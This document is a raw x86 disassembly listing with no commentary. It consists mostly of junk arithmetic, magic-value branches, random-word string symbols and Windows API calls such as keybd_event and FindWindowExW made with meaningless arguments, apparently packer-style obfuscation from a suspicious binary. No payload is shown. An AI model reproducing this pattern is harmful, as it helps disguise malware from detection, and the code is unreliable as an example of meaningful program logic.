mov ecx, dword [ebp - 0x8f30]
sub ecx, 0x12231949
mov edx, dword [ebp - 0x348c]
mov dword [edx], ecx
lea eax, [ebp - 0x17440]
push eax
call dword [sym.imp.COMDLG32.dll_FindTextW]
mov dword [ebp - 0xb2bc], eax
mov ecx, dword [ebp - 0x348c]
mov edx, dword [ecx]
sub edx, 0x505b9c2a
mov dword [ebp - 0x8f30], edx
mov al, byte [ebp - 0x9511]
mov byte [ebp - 0x17b31], al
mov dword [ebp - 0x3fec], 0x44ed
mov ecx, dword [ebp - 0x348c]
mov edx, dword [ecx]
add edx, dword [ebp - 0x8f30]
mov eax, dword [ebp - 0x348c]
mov dword [eax], edx
mov ecx, dword [ebp - 0x8f30]
add ecx, 0x7f34cc20
mov edx, dword [ebp - 0x348c]
mov dword [edx], ecx
mov eax, dword [ebp - 0x348c]
mov ecx, dword [eax]
shr ecx, 4
mov dword [ebp - 0x8f30], ecx
mov edx, dword [ebp - 0x8f30]
or edx, 0xbb03134b
mov eax, dword [ebp - 0x348c]
mov dword [eax], edx
mov ecx, dword [ebp - 0x348c]
mov edx, dword [ecx]
xor edx, 0xd2657370
mov dword [ebp - 0x8f30], edx
movzx eax, byte [ebp - 0x9511]
shl eax, 1
mov byte [ebp - 0x17b31], al
mov ecx, dword [ebp - 0x348c]
mov edx, dword [ecx]
and edx, dword [ebp - 0x8f30]
mov eax, dword [ebp - 0x348c]
mov dword [eax], edx
mov ecx, dword [ebp - 0x8f30]
sub ecx, 0x65569a42
mov edx, dword [ebp - 0x348c]
mov dword [edx], ecx
mov eax, dword [0x55d224]
sub eax, 0x6cd8967d
mov dword [ebp - 0x15d00], eax
mov ecx, dword [ebp - 0x348c]
mov edx, dword [ecx]
add edx, dword [ebp - 0x8f30]
mov eax, dword [ebp - 0x348c]
mov dword [eax], edx
mov ecx, dword [0x55d224]
sub ecx, 0xa8f415e
mov dword [ebp - 0x15d00], ecx
mov edx, dword [ebp - 0x348c]
mov eax, dword [edx]
and eax, dword [ebp - 0x8f30]
mov ecx, dword [ebp - 0x348c]
mov dword [ecx], eax
mov edx, dword [ebp - 0x348c]
mov eax, dword [edx]
add eax, dword [ebp - 0x8f30]
mov ecx, dword [ebp - 0x348c]
mov dword [ecx], eax
mov edx, dword [ebp - 0x8f30]
add edx, 0x3fb0857
mov eax, dword [ebp - 0x348c]
mov dword [eax], edx
mov ecx, dword [ebp - 0x8f30]
sub ecx, 0x1f75e56f
mov edx, dword [ebp - 0x348c]
mov dword [edx], ecx
mov eax, dword [ebp - 0x8f30]
sub eax, 0x107ebbd3
mov ecx, dword [ebp - 0x348c]
mov dword [ecx], eax
mov edx, dword [ebp - 0x15d00]
xor edx, 0x64575703
mov dword [0x55d224], edx
mov eax, dword [ebp - 0x348c]
mov edx, dword [eax]
mov ecx, dword [ebp - 0x8f30]
shr edx, cl
mov eax, dword [ebp - 0x348c]
mov dword [eax], edx
mov ecx, dword [ebp - 0x14dcc]
add ecx, 0xec
mov dword [ebp - 0x14dcc], ecx
movzx edx, byte [ebp - 0x9511]
or edx, 0x9d
mov byte [ebp - 0x17b31], dl
mov eax, dword [ebp - 0x348c]
mov edx, dword [eax]
mov ecx, dword [ebp - 0x8f30]
shl edx, cl
mov eax, dword [ebp - 0x348c]
mov dword [eax], edx
mov ecx, dword [ebp - 0x348c]
mov edx, dword [ecx]
and edx, dword [ebp - 0x8f30]
mov eax, dword [ebp - 0x348c]
mov dword [eax], edx
mov ecx, dword [ebp - 0x348c]
mov edx, dword [ecx]
sub edx, 0x62a98378
mov dword [ebp - 0x8f30], edx
mov eax, dword [ebp - 0x8f30]
add eax, 0x2020169b
mov ecx, dword [ebp - 0x348c]
mov dword [ecx], eax
movzx edx, byte [ebp - 0x9511]
add edx, 0x87
mov byte [ebp - 0x17b31], dl
movzx eax, byte [ebp - 0x9511]
sub eax, 0x41
mov byte [ebp - 0x17b31], al
mov ecx, dword [ebp - 0x15d00]
add ecx, 0x36f91bfc
mov dword [0x55d224], ecx
cmp dword [ebp - 0x14dcc], 0xbaff
jne 0x404fad
mov dword [ebp - 0x2344], 0x55d224
mov edx, dword [ebp - 0x15d00]
imul edx, dword [0x55d224]
mov eax, dword [ebp - 0x2344]
cmp edx, dword [eax]
jle 0x405299
mov ecx, dword [ebp - 0x2344]
mov edx, dword [ecx]
mov dword [ebp - 0x18818], edx
cmp dword [ebp - 0x18818], 0x31e27e2f
je 0x405212
jmp 0x40522a
mov eax, dword [ebp - 0x2344]
mov ecx, dword [eax]
and ecx, dword [ebp - 0x15d00]
mov edx, dword [ebp - 0x2344]
mov dword [edx], ecx
jmp 0x40524f
push 0x39
push 0x9c
push 0xca
push 0x63
call dword [sym.imp.USER32.dll_keybd_event]
push 0x1e
push 0x8c
push 0xffffffffffffff99
call fcn.0053a580
add esp, 0xc
mov eax, dword [ebp - 0x348c]
mov ecx, dword [eax]
sub ecx, dword [ebp - 0x8f30]
mov edx, dword [ebp - 0x348c]
mov dword [edx], ecx
movzx eax, byte [ebp - 0x17b31]
add eax, 0x19
mov byte [ebp - 0x9511], al
push str.Separatists_Observance_Sewerage_modulated_Undergarment
push str.cystine_Hollowed_psychoanalysis
mov ecx, dword [ebp - 0x14e24]
push ecx
mov edx, dword [ebp - 0xb2bc]
push edx
call dword [sym.imp.USER32.dll_FindWindowExW]
mov dword [ebp - 0x9f98], eax
mov dword [ebp - 0xdb6c], 0x3eac
lea eax, [ebp - 0x15d00]
mov dword [ebp - 0x558], eax
mov dword [ebp - 0x14fac], 0xab4e
lea ecx, [ebp - 0x15d00]
mov dword [ebp - 0x237c], ecx
mov dword [ebp - 0x14bc0], 0x41c8
mov edx, dword [ebp - 0x348c]
mov eax, dword [edx]
sub eax, 0x726b1959
mov dword [ebp - 0x8f30], eax
mov ecx, dword [ebp - 0x2344]
mov edx, dword [ebp - 0x558]
mov eax, dword [ecx]
xor eax, dword [edx]
mov ecx, dword [ebp - 0x2344]
mov dword [ecx], eax
mov edx, dword [ebp - 0x15d00]
mov ecx, dword [0x55d224]
shl edx, cl
mov eax, dword [ebp - 0x237c]
mov dword [eax], edx
movzx ecx, byte [ebp - 0x17b31]
or ecx, 0x98
mov byte [ebp - 0x9511], cl
mov edx, dword [ebp - 0x8f30]
shr edx, 0x16
mov eax, dword [ebp - 0x348c]
mov dword [eax], edx
mov ecx, dword [ebp - 0x348c]
mov edx, dword [ecx]
and edx, dword [ebp - 0x8f30]
mov eax, dword [ebp - 0x348c]
mov dword [eax], edx
mov ecx, dword [ebp - 0x8f30]
add ecx, 0x42b07f8b
mov edx, dword [ebp - 0x348c]
mov dword [edx], ecx
mov eax, dword [ebp - 0x348c]
mov ecx, dword [eax]
sub ecx, 0x67dd6b1a
mov dword [ebp - 0x8f30], ecx
mov edx, dword [ebp - 0x237c]
mov eax, dword [edx]
mov ecx, dword [ebp - 0x2344]
add eax, dword [ecx]
mov edx, dword [ebp - 0x237c]
mov dword [edx], eax
mov eax, dword [ebp - 0x237c]
mov ecx, dword [0x55d224]
sub ecx, dword [eax]
mov dword [ebp - 0x15d00], ecx
mov edx, dword [ebp - 0x15d00]
sub edx, dword [0x55d224]
mov eax, dword [ebp - 0x2344]
mov dword [eax], edx
mov ecx, dword [ebp - 0x348c]
mov edx, dword [ecx]
add edx, 0x966326d
mov dword [ebp - 0x8f30], edx
mov eax, dword [ebp - 0x558]
mov ecx, dword [eax]
and ecx, dword [0x55d224]
mov dword [ebp - 0x15d00], ecx
mov edx, dword [ebp - 0x237c]
mov eax, dword [ebp - 0x15d00]
add eax, dword [edx]
mov ecx, dword [ebp - 0x2344]
mov dword [ecx], eax
mov edx, dword [ebp - 0x8f30]
shl edx, 0x1f
mov eax, dword [ebp - 0x348c]
mov dword [eax], edx
mov ecx, dword [ebp - 0x348c]
mov edx, dword [ecx]
xor edx, 0xf0ad7fe4
mov dword [ebp - 0x8f30], edx
movzx eax, byte [ebp - 0x17b31]
sar eax, 5
mov byte [ebp - 0x9511], al
mov ecx, dword [ebp - 0x558]
mov edx, dword [ecx]
or edx, dword [ebp - 0x15d00]
mov eax, dword [ebp - 0x558]
mov dword [eax], edx
mov ecx, dword [ebp - 0x237c]
mov edx, dword [ecx]
sub edx, dword [0x55d224]
mov dword [ebp - 0x15d00], edx
mov eax, dword [ebp - 0x558]
mov ecx, dword [eax]
and ecx, dword [ebp - 0x15d00]
mov dword [0x55d224], ecx
mov edx, dword [ebp - 0x348c]
mov eax, dword [edx]
add eax, 0x1e5fc364
mov dword [ebp - 0x8f30], eax
movzx ecx, byte [ebp - 0x17b31]
sub ecx, 0x2c
mov byte [ebp - 0x9511], cl
movzx edx, byte [ebp - 0x9511]
sub edx, 0x82
mov byte [ebp - 0x17b31], dl
mov eax, dword [ebp - 0x8f30]
add eax, 0x28a98b89
mov ecx, dword [ebp - 0x348c]
mov dword [ecx], eax
mov edx, dword [ebp - 0x8f30]
add edx, 0x2357a0b5
mov eax, dword [ebp - 0x348c]
mov dword [eax], edx
mov ecx, dword [ebp - 0x237c]
mov edx, dword [0x55d224]
sub edx, dword [ecx]
mov dword [ebp - 0x15d00], edx
mov eax, dword [ebp - 0x237c]
mov ecx, dword [0x55d224]
sub ecx, dword [eax]
mov dword [ebp - 0x15d00], ecx
mov edx, dword [ebp - 0x2344]
mov eax, dword [ebp - 0x15d00]
and eax, dword [edx]
mov ecx, dword [ebp - 0x237c]
mov dword [ecx], eax
mov edx, dword [ebp - 0x8f30]
shl edx, 0xe
mov eax, dword [ebp - 0x348c]
mov dword [eax], edx
mov ecx, dword [ebp - 0x237c]
mov edx, dword [0x55d224]
mov ecx, dword [ecx]
sar edx, cl
mov dword [ebp - 0x15d00], edx
mov eax, dword [ebp - 0x8f30]
xor eax, 0xa38e10b0
mov ecx, dword [ebp - 0x348c]
mov dword [ecx], eax
mov edx, dword [ebp - 0x558]
mov eax, dword [ebp - 0x2344]
mov ecx, dword [edx]
or ecx, dword [eax]
mov edx, dword [ebp - 0x237c]
mov dword [edx], ecx
mov eax, dword [ebp - 0x2344]
mov ecx, dword [eax]
mov edx, dword [ebp - 0x558]
add ecx, dword [edx]
mov dword [ebp - 0x15d00], ecx
mov eax, dword [ebp - 0x348c]
mov ecx, dword [eax]
sub ecx, 0x1b018e9b
mov dword [ebp - 0x8f30], ecx
movzx edx, byte [ebp - 0x17b31]
and edx, 0x4c
mov byte [ebp - 0x9511], dl
mov eax, dword [ebp - 0x15d00]
add eax, dword [0x55d224]
mov ecx, dword [ebp - 0x558]
mov dword [ecx], eax
mov edx, dword [ebp - 0x237c]
mov eax, dword [0x55d224]
sub eax, dword [edx]
mov dword [ebp - 0x15d00], eax
mov ecx, dword [ebp - 0xdb6c]
add ecx, 0x80
mov dword [ebp - 0xdb6c], ecx
mov edx, dword [ebp - 0x348c]
mov eax, dword [edx]
sub eax, 0x62f43d5a
mov dword [ebp - 0x8f30], eax
mov ecx, dword [ebp - 0x237c]
mov edx, dword [ecx]
mov eax, dword [ebp - 0x2344]
add edx, dword [eax]
mov dword [0x55d224], edx
mov ecx, dword [ebp - 0x15d00]
sub ecx, dword [0x55d224]
mov edx, dword [ebp - 0x237c]
mov dword [edx], ecx
mov eax, dword [ebp - 0x8f30]
add eax, 0x29b74100
mov ecx, dword [ebp - 0x348c]
mov dword [ecx], eax
mov edx, dword [ebp - 0x348c]
mov eax, dword [edx]
add eax, dword [ebp - 0x8f30]
mov ecx, dword [ebp - 0x348c]
mov dword [ecx], eax
mov edx, dword [ebp - 0x15d00]
add edx, dword [0x55d224]
mov eax, dword [ebp - 0x2344]
mov dword [eax], edx
cmp dword [ebp - 0xdb6c], 0x60ac
jne 0x4052cf
lea ecx, [ebp - 0x8f30]
mov dword [ebp - 0x171b8], ecx
mov edx, dword [ebp - 0x15d00]
mov dword [ebp - 0x2970], edx
mov eax, dword [ebp - 0x237c]
mov ecx, dword [ebp - 0x558]
mov edx, dword [eax]
xor edx, dword [ecx]
mov eax, dword [ebp - 0x237c]
mov dword [eax], edx
cmp dword [ebp - 0x7820], 0x341e
ja 0x405a9f
mov ecx, dword [ebp - 0x2344]
mov edx, dword [ebp - 0x15d00]
or edx, dword [ecx]
mov eax, dword [ebp - 0x558]
mov dword [eax], edx
mov ecx, dword [ebp - 0x558]
mov edx, dword [ecx]
mov ecx, dword [ebp - 0x2970]
shl edx, cl
mov eax, dword [ebp - 0x558]
mov dword [eax], edx
mov ecx, dword [ebp - 0x348c]
mov edx, dword [ecx]
mov ecx, dword [ebp - 0x8f30]
shr edx, cl
mov eax, dword [ebp - 0x171b8]
mov dword [eax], edx
mov ecx, dword [ebp - 0x237c]
mov edx, dword [ebp - 0x2970]
and edx, dword [ecx]
mov eax, dword [ebp - 0x2344]
mov dword [eax], edx
mov ecx, dword [ebp - 0x558]
mov edx, dword [ebp - 0x2970]
sub edx, dword [ecx]
mov eax, dword [ebp - 0x2344]
mov dword [eax], edx
mov ecx, dword [ebp - 0x558]
mov edx, dword [ecx]
mov eax, dword [ebp - 0x237c]
add edx, dword [eax]
mov dword [ebp - 0x2970], edx
mov ecx, dword [ebp - 0x558]
mov edx, dword [ecx]
and edx, dword [0x55d224]
mov dword [ebp - 0x2970], edx
mov eax, dword [ebp - 0x237c]
mov ecx, dword [ebp - 0x15d00]
sub ecx, dword [eax]
mov edx, dword [ebp - 0x558]
mov dword [edx], ecx
mov eax, dword [ebp - 0x348c]
mov ecx, dword [ebp - 0x8f30]
sub ecx, dword [eax]
mov edx, dword [ebp - 0x171b8]
mov dword [edx], ecx
mov eax, dword [ebp - 0x558]
mov ecx, dword [eax]
mov edx, dword [ebp - 0x2344]
add ecx, dword [edx]
mov eax, dword [ebp - 0x237c]
mov dword [eax], ecx
mov ecx, dword [ebp - 0x237c]
mov edx, dword [ebp - 0x2970]
sub edx, dword [ecx]
mov dword [0x55d224], edx
mov eax, dword [ebp - 0x171b8]
mov ecx, dword [eax]
mov edx, dword [ebp - 0x348c]
add ecx, dword [edx]
mov dword [ebp - 0x8f30], ecx
mov eax, dword [ebp - 0x348c]
mov ecx, dword [eax]
or ecx, dword [ebp - 0x8f30]
mov edx, dword [ebp - 0x348c]
mov dword [edx], ecx
mov eax, dword [ebp - 0x171b8]
mov edx, dword [eax]
mov ecx, dword [ebp - 0x8f30]
shl edx, cl
mov eax, dword [ebp - 0x348c]
mov dword [eax], edx
mov ecx, dword [ebp - 0x2970]
xor ecx, dword [ebp - 0x15d00]
mov edx, dword [ebp - 0x558]
mov dword [edx], ecx
mov eax, dword [ebp - 0x2344]
mov edx, dword [eax]
mov ecx, dword [ebp - 0x15d00]
sar edx, cl
mov eax, dword [ebp - 0x558]
mov dword [eax], edx
mov ecx, dword [ebp - 0x171b8]
mov edx, dword [ebp - 0x8f30]
and edx, dword [ecx]
mov eax, dword [ebp - 0x348c]
mov dword [eax], edx
mov ecx, dword [ebp - 0x2970]
sub ecx, dword [ebp - 0x15d00]
mov edx, dword [ebp - 0x558]
mov dword [edx], ecx
mov eax, dword [ebp - 0x237c]
mov ecx, dword [eax]
add ecx, dword [ebp - 0x15d00]
mov edx, dword [ebp - 0x2344]
mov dword [edx], ecx
mov eax, dword [ebp - 0x348c]
mov ecx, dword [eax]
add ecx, dword [ebp - 0x8f30]
mov edx, dword [ebp - 0x171b8]
mov dword [edx], ecx
mov eax, dword [ebp - 0x237c]
mov ecx, dword [ebp - 0x15d00]
sub ecx, dword [eax]
mov edx, dword [ebp - 0x558]
mov dword [edx], ecx
mov eax, dword [ebp - 0x348c]
mov ecx, dword [ebp - 0x171b8]
mov edx, dword [eax]
and edx, dword [ecx]
mov dword [ebp - 0x8f30], edx
mov eax, dword [ebp - 0x15d00]
sub eax, dword [0x55d224]
mov ecx, dword [ebp - 0x237c]
mov dword [ecx], eax
mov edx, dword [ebp - 0x2344]
mov eax, dword [edx]
mov ecx, dword [ebp - 0x237c]
add eax, dword [ecx]
mov dword [ebp - 0x2970], eax
mov edx, dword [ebp - 0x237c]
mov eax, dword [edx]
sub eax, dword [ebp - 0x15d00]
mov ecx, dword [ebp - 0x2344]
mov dword [ecx], eax
mov edx, dword [ebp - 0x558]
mov eax, dword [edx]
mov ecx, dword [ebp - 0x2344]
add eax, dword [ecx]
mov dword [ebp - 0x15d00], eax
movzx edx, byte [ebp - 0x17b31]
shl edx, 5
mov byte [ebp - 0x9511], dl
mov eax, dword [ebp - 0x348c]
mov ecx, dword [ebp - 0x171b8]
mov edx, dword [eax]
or edx, dword [ecx]
mov eax, dword [ebp - 0x348c]
mov dword [eax], edx
mov ecx, dword [ebp - 0x558]
mov edx, dword [ebp - 0x237c]
mov eax, dword [ecx]
xor eax, dword [edx]
mov dword [0x55d224], eax
mov edx, dword [ebp - 0x2970]
mov ecx, dword [ebp - 0x15d00]
sar edx, cl
mov eax, dword [ebp - 0x2344]
mov dword [eax], edx
mov ecx, dword [ebp - 0x348c]
mov edx, dword [ecx]
and edx, dword [ebp - 0x8f30]
mov eax, dword [ebp - 0x348c]
mov dword [eax], edx
mov ecx, dword [ebp - 0x237c]
mov edx, dword [ebp - 0x558]
mov eax, dword [ecx]
sub eax, dword [edx]
mov ecx, dword [ebp - 0x2344]
mov dword [ecx], eax
movzx edx, byte [ebp - 0x9511]
add edx, 0xe8
mov byte [ebp - 0x17b31], dl
mov eax, dword [ebp - 0x348c]
mov ecx, dword [ebp - 0x8f30]
add ecx, dword [eax]
mov edx, dword [ebp - 0x171b8]
mov dword [edx], ecx
mov eax, dword [ebp - 0x237c]
mov ecx, dword [ebp - 0x2970]
sub ecx, dword [eax]
mov edx, dword [ebp - 0x2344]
mov dword [edx], ecx
mov eax, dword [ebp - 0x348c]
mov ecx, dword [eax]
sub ecx, dword [ebp - 0x8f30]
mov edx, dword [ebp - 0x171b8]
mov dword [edx], ecx
mov eax, dword [ebp - 0x237c]
mov ecx, dword [ebp - 0x558]
mov edx, dword [eax]
and edx, dword [ecx]
mov eax, dword [ebp - 0x2344]
mov dword [eax], edx
mov ecx, dword [ebp - 0x558]
mov edx, dword [ecx]
mov eax, dword [ebp - 0x2344]
add edx, dword [eax]
mov ecx, dword [ebp - 0x237c]
mov dword [ecx], edx
mov edx, dword [ebp - 0x7820]
add edx, 0x32
mov dword [ebp - 0x7820], edx
movzx eax, byte [ebp - 0x17b31]
add eax, 0x44
mov byte [ebp - 0x9511], al
mov ecx, dword [ebp - 0x171b8]
mov edx, dword [ebp - 0x8f30]
sub edx, dword [ecx]
mov eax, dword [ebp - 0x348c]
mov dword [eax], edx
mov ecx, dword [ebp - 0x348c]
mov edx, dword [ebp - 0x171b8]
mov eax, dword [ecx]
xor eax, dword [edx]
mov dword [ebp - 0x8f30], eax
movzx ecx, byte [ebp - 0x17b31]
shl ecx, 6
mov byte [ebp - 0x9511], cl
mov edx, dword [ebp - 0x348c]
mov eax, dword [ebp - 0x171b8]
mov ecx, dword [edx]
or ecx, dword [eax]
mov dword [ebp - 0x8f30], ecx
mov edx, dword [ebp - 0x558]
mov eax, dword [ebp - 0x237c]
mov edx, dword [edx]
mov ecx, dword [eax]
sar edx, cl
mov eax, dword [ebp - 0x2344]
mov dword [eax], edx
mov ecx, dword [ebp - 0x2344]
mov edx, dword [ebp - 0x15d00]
and edx, dword [ecx]
mov dword [ebp - 0x2970], edx
mov eax, dword [ebp - 0x348c]
mov ecx, dword [eax]
add ecx, dword [ebp - 0x8f30]
mov edx, dword [ebp - 0x171b8]
mov dword [edx], ecx
mov eax, dword [ebp - 0x171b8]
mov ecx, dword [eax]
sub ecx, dword [ebp - 0x8f30]
mov edx, dword [ebp - 0x348c]
mov dword [edx], ecx
jmp 0x40567d
mov eax, dword [ebp - 0x558]
mov ecx, dword [eax]
mov dword [ebp - 0x1186c], ecx
mov dword [ebp - 0x112dc], 0xd8a0
mov edx, dword [ebp - 0x2970]
mov dword [ebp - 0x1881c], edx
cmp dword [ebp - 0x1881c], 0x1947f665
je 0x405ae4
cmp dword [ebp - 0x1881c], 0x319f5647
je 0x405b71
jmp 0x405b81
mov eax, dword [ebp - 0x171b8]
mov ecx, dword [eax]
mov dword [ebp - 0x18820], ecx
cmp dword [ebp - 0x18820], 0x34d9af48
je 0x405b5b
cmp dword [ebp - 0x18820], 0xb7caad20
je 0x405b0c
jmp 0x405b6f
mov edx, dword [ebp - 0x558]
mov eax, dword [ebp - 0x15d00]
sub eax, dword [edx]
mov ecx, dword [ebp - 0x2344]
mov dword [ecx], eax
mov edx, dword [ebp - 0x348c]
mov eax, dword [edx]
mov ecx, dword [ebp - 0x171b8]
add eax, dword [ecx]
mov dword [ebp - 0x8f30], eax
push 1
push 0x91
push 0xd
push 0x85
mov edx, dword [ebp - 0x14e24]
push edx
call dword [sym.imp.USER32.dll_SetScrollRange]
mov dword [ebp - 0x5684], eax
jmp 0x405b6f
mov eax, dword [ebp - 0x2970]
sub eax, dword [ebp - 0x15d00]
mov ecx, dword [ebp - 0x237c]
mov dword [ecx], eax
jmp 0x405b81
mov edx, dword [ebp - 0x348c]
mov eax, dword [edx]
push eax
push 0x57
call fcn.0053a140
mov dword [ebp - 0x260c], 0x8cf6
mov ecx, dword [ebp - 0x558]
mov edx, dword [ecx]
mov dword [ebp - 0x7698], edx
mov dword [ebp - 0x6fe8], 0x9d45
mov eax, dword [ebp - 0x2970]
add eax, dword [ebp - 0x1186c]
mov ecx, dword [ebp - 0x2344]
mov dword [ecx], eax
mov dword [ebp - 0x8534], 0xbce5
mov edx, dword [ebp - 0x348c]
mov eax, dword [edx]
mov dword [ebp - 0xeaa0], eax
cmp dword [ebp - 0x260c], 0xa676
jae 0x405ee1
mov ecx, dword [ebp - 0x558]
mov edx, dword [ecx]
and edx, dword [ebp - 0x2970]
mov dword [0x55d224], edx
mov eax, dword [0x55d224]
sub eax, dword [ebp - 0x1186c]
mov dword [ebp - 0x15d00], eax
mov ecx, dword [ebp - 0x2970]
or ecx, dword [ebp - 0x1186c]
mov edx, dword [ebp - 0x2344]
mov dword [edx], ecx
mov eax, dword [ebp - 0x348c]
mov edx, dword [ebp - 0xeaa0]
mov ecx, dword [eax]
shr edx, cl
mov eax, dword [ebp - 0x171b8]
mov dword [eax], edx
mov ecx, dword [ebp - 0x7698]
xor ecx, dword [ebp - 0x15d00]
mov edx, dword [ebp - 0x558]
mov dword [edx], ecx
mov eax, dword [ebp - 0x558]
mov edx, dword [eax]
mov ecx, dword [ebp - 0x1186c]
shl edx, cl
mov dword [ebp - 0x15d00], edx
mov eax, dword [ebp - 0x348c]
mov ecx, dword [ebp - 0xeaa0]
add ecx, dword [eax]
mov dword [ebp - 0x8f30], ecx
mov edx, dword [ebp - 0x2344]
mov eax, dword [ebp - 0x7698]
and eax, dword [edx]
mov ecx, dword [ebp - 0x237c]
mov dword [ecx], eax
mov edx, dword [ebp - 0x2344]
mov eax, dword [edx]
sub eax, dword [ebp - 0x7698]
mov ecx, dword [ebp - 0x558]
mov dword [ecx], eax
mov edx, dword [ebp - 0x2970]
add edx, dword [ebp - 0x15d00]
mov eax, dword [ebp - 0x2344]
mov dword [eax], edx
mov ecx, dword [ebp - 0x348c]
mov edx, dword [ecx]
sub edx, dword [ebp - 0x8f30]
mov eax, dword [ebp - 0x171b8]
mov dword [eax], edx
mov ecx, dword [ebp - 0x237c]
mov edx, dword [ebp - 0x2344]
mov eax, dword [ecx]
sub eax, dword [edx]
mov ecx, dword [ebp - 0x237c]
mov dword [ecx], eax
mov edx, dword [ebp - 0x15d00]
add edx, dword [ebp - 0x7698]
mov dword [ebp - 0x2970], edx
mov eax, dword [ebp - 0x171b8]
mov ecx, dword [eax]
add ecx, dword [ebp - 0x8f30]
mov edx, dword [ebp - 0x348c]
mov dword [edx], ecx
movzx eax, byte [ebp - 0x17b31]
sub eax, 0x7a
mov byte [ebp - 0x9511], al
mov ecx, dword [ebp - 0x558]
mov edx, dword [ebp - 0x2344]
mov eax, dword [ecx]
and eax, dword [edx]
mov dword [ebp - 0x15d00], eax
mov ecx, dword [ebp - 0x237c]
mov edx, dword [ebp - 0x1186c]
mov ecx, dword [ecx]
shl edx, cl
mov dword [ebp - 0x2970], edx
mov eax, dword [ebp - 0x558]
mov ecx, dword [ebp - 0x15d00]
xor ecx, dword [eax]
mov edx, dword [ebp - 0x237c]
mov dword [edx], ecx
mov eax, dword [ebp - 0x348c]
mov ecx, dword [ebp - 0x171b8]
mov edx, dword [eax]
or edx, dword [ecx]
mov eax, dword [ebp - 0x348c]
mov dword [eax], edx
mov ecx, dword [ebp - 0x171b8]
mov edx, dword [ecx]
mov ecx, dword [ebp - 0xeaa0]
shr edx, cl
mov eax, dword [ebp - 0x348c]
mov dword [eax], edx
mov ecx, dword [ebp - 0x171b8]
mov edx, dword [ebp - 0xeaa0]
add edx, dword [ecx]
mov eax, dword [ebp - 0x348c]
mov dword [eax], edx
mov ecx, dword [ebp - 0x348c]
mov edx, dword [ecx]
mov eax, dword [ebp - 0x171b8]
add edx, dword [eax]
mov ecx, dword [ebp - 0x348c]
mov dword [ecx], edx
mov edx, dword [ebp - 0x348c]
mov eax, dword [edx]
and eax, dword [ebp - 0x8f30]
mov ecx, dword [ebp - 0x348c]
mov dword [ecx], eax
mov edx, dword [ebp - 0x348c]
mov eax, dword [ebp - 0x171b8]
mov ecx, dword [edx]
sub ecx, dword [eax]
mov edx, dword [ebp - 0x348c]
mov dword [edx], ecx
mov eax, dword [ebp - 0x15d00]
sub eax, dword [ebp - 0x1186c]
mov ecx, dword [ebp - 0x2344]
mov dword [ecx], eax
mov edx, dword [ebp - 0x237c]
mov eax, dword [edx]
mov ecx, dword [ebp - 0x558]
add eax, dword [ecx]
mov dword [ebp - 0x15d00], eax
mov edx, dword [ebp - 0x260c]
add edx, 0xcc
mov dword [ebp - 0x260c], edx
mov eax, dword [ebp - 0x237c]
mov ecx, dword [eax]
add ecx, dword [ebp - 0x1186c]
mov edx, dword [ebp - 0x558]
mov dword [edx], ecx
mov eax, dword [ebp - 0x237c]
mov ecx, dword [ebp - 0x15d00]
sub ecx, dword [eax]
mov dword [0x55d224], ecx
mov edx, dword [ebp - 0x171b8]
mov eax, dword [edx]
add eax, dword [ebp - 0xeaa0]
mov ecx, dword [ebp - 0x348c]
mov dword [ecx], eax
mov edx, dword [ebp - 0x171b8]
mov eax, dword [edx]
sub eax, dword [ebp - 0xeaa0]
mov dword [ebp - 0x8f30], eax
mov ecx, dword [ebp - 0x237c]
mov edx, dword [ecx]
sub edx, dword [0x55d224]
mov eax, dword [ebp - 0x2344]
mov dword [eax], edx
mov ecx, dword [ebp - 0x237c]
mov edx, dword [ebp - 0x1186c]
or edx, dword [ecx]
mov dword [ebp - 0x15d00], edx
mov eax, dword [ebp - 0x171b8]
mov edx, dword [eax]
mov ecx, dword [ebp - 0xeaa0]
shl edx, cl
mov eax, dword [ebp - 0x348c]
mov dword [eax], edx
movzx ecx, byte [ebp - 0x9511]
xor ecx, 0xa
mov byte [ebp - 0x17b31], cl
mov edx, dword [ebp - 0x171b8]
mov eax, dword [ebp - 0xeaa0]
mov ecx, dword [edx]
shr eax, cl
mov ecx, dword [ebp - 0x348c]
mov dword [ecx], eax
jmp 0x405bcf
movzx edx, byte [ebp - 0x9511]
imul edx, edx, 0x71
movzx eax, byte [ebp - 0x17b31]
cmp edx, eax
jle 0x539f4f
mov ecx, dword [ebp - 0x348c]
mov edx, dword [ecx]
mov dword [ebp - 0x9d8], edx
mov dword [ebp - 0x1678c], 0x6c20
mov eax, dword [ebp - 0x2344]
mov ecx, dword [ebp - 0x1186c]
add ecx, dword [eax]
mov dword [ebp - 0x2970], ecx
mov edx, dword [ebp - 0x348c]
mov eax, dword [edx]
and eax, dword [ebp - 0xeaa0]
mov ecx, dword [ebp - 0x348c]
mov dword [ecx], eax
movzx edx, byte [ebp - 0x17b31]
sub edx, 0xc3
mov byte [ebp - 0x9511], dl
mov eax, dword [ebp - 0x558]
mov ecx, dword [ebp - 0x15d00]
sub ecx, dword [eax]
mov dword [ebp - 0x7698], ecx
mov edx, dword [ebp - 0xeaa0]
add edx, dword [ebp - 0x9d8]
mov eax, dword [ebp - 0x348c]
mov dword [eax], edx
mov ecx, dword [ebp - 0x1186c]
add ecx, dword [ebp - 0x15d00]
mov edx, dword [ebp - 0x2344]
mov dword [edx], ecx
mov eax, dword [ebp - 0x237c]
mov ecx, dword [eax]
add ecx, dword [ebp - 0x1186c]
mov edx, dword [ebp - 0x558]
mov dword [edx], ecx
mov eax, dword [ebp - 0x2344]
mov edx, dword [eax]
mov ecx, dword [ebp - 0x15d00]
shl edx, cl
mov dword [0x55d224], edx
mov eax, dword [ebp - 0x2970]
mov ecx, dword [ebp - 0x15d00]
sar eax, cl
mov ecx, dword [ebp - 0x2344]
mov dword [ecx], eax
mov edx, dword [ebp - 0x348c]
mov eax, dword [ebp - 0x9d8]
or eax, dword [edx]
mov ecx, dword [ebp - 0x171b8]
mov dword [ecx], eax
mov edx, dword [ebp - 0x558]
mov eax, dword [ebp - 0x2970]
xor eax, dword [edx]
mov ecx, dword [ebp - 0x2344]
mov dword [ecx], eax
mov edx, dword [ebp - 0x237c]
mov eax, dword [edx]
and eax, dword [ebp - 0x15d00]
mov dword [ebp - 0x7698], eax
mov ecx, dword [ebp - 0x2344]
mov edx, dword [ebp - 0x7698]
add edx, dword [ecx]
mov dword [ebp - 0x15d00], edx
mov eax, dword [ebp - 0x14fac]
add eax, 0xf7
mov dword [ebp - 0x14fac], eax
mov ecx, dword [ebp - 0x237c]
mov edx, dword [ecx]
add edx, dword [ebp - 0x15d00]
mov eax, dword [ebp - 0x237c]
mov dword [eax], edx
mov ecx, dword [ebp - 0xeaa0]
sub ecx, dword [ebp - 0x9d8]
mov dword [ebp - 0x8f30], ecx
